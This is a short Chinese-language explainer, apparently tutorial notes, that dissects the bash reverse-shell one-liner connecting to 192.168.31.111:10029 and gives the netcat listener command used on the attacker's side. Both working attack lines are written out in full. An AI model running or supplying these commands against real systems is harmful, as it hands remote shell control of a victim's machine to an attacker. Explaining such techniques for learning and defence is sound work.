反向Shell(Reverse Shell)
目的是让目标机器(执行这条命令的机器)主动连接到攻击者控制的服务器,从而让攻击者获得一个远程命令行 shell 控制权限。
解这个命令:bash -i >& /dev/tcp/192.168.31.111/10029 0>&1
bash -i
bash
: 启动 Bash shell。-i
参数:强制 Bash 以交互式(Interactive) 模式运行。这意味着它会提供一个提示符,并且可以接收用户输入,这是获得一个完整 shell 的前提。
>& /dev/tcp/192.168.31.111/10029
这是整个命令的核心,利用了 Bash 的一个特性。
/dev/tcp/<IP>/<Port>
:在 Linux 中,这是一个特殊的伪设备文件。当你对它进行读写操作时,Bash 实际上会在底层建立一个 TCP Socket 连接,而不是真正地去读写一个磁盘文件。192.168.31.111
:这是攻击者机器的 IP 地址。目标机器会尝试连接这个地址。10029
:这是攻击者机器上监听的端口。>&
:这是文件描述符重定向的简写,等同于&>
。它的作用是将标准输出(stdout, 文件描述符1) 和标准错误(stderr, 文件描述符2) 都重定向到后面的目标。所以,这部分的意思是:将 Bash 的所有输出和错误信息,都发送到与
192.168.31.111:10029
建立的 TCP 网络连接中去。
0>&1
0
代表标准输入(stdin),即键盘输入。1
代表标准输出(stdout),即屏幕输出。0>&1
的意思是:将标准输入(0)重定向到标准输出(1)的当前位置。由于上一步已经把标准输出(1)重定向到了网络 socket,所以现在标准输入(0)也会被重定向到同一个网络 socket。
整体效果:
执行这条命令后,目标机器上的 Bash 会:
主动与
192.168.31.111
的10029
端口建立 TCP 连接。将这个网络连接既当作自己的“屏幕”(输出),也当作自己的“键盘”(输入)。
这样,在攻击者的机器上(
192.168.31.111
),只要有一个程序在10029
端口监听,就能收到这个连接,并获得一个完全交互式的 Bash shell,可以执行任何目标用户权限允许的命令。
攻击者需要做什么?
为了让这个反向 Shell 生效,攻击者必须提前在自己机器上(192.168.31.111
)设置一个监听器(Listener)来接收这个连接。
最常用的工具是 netcat
(通常简称 nc
):
在攻击者机器上执行:
nc -lvnp 10029-l: 监听模式-v: 显示详细信息-n: 不解析域名-p 10029: 指定监听端口
执行此命令后,netcat
会等待传入的连接,一旦目标执行了那条反向 Shell 命令,netcat
就会接收到连接,攻击者就获得了 shell。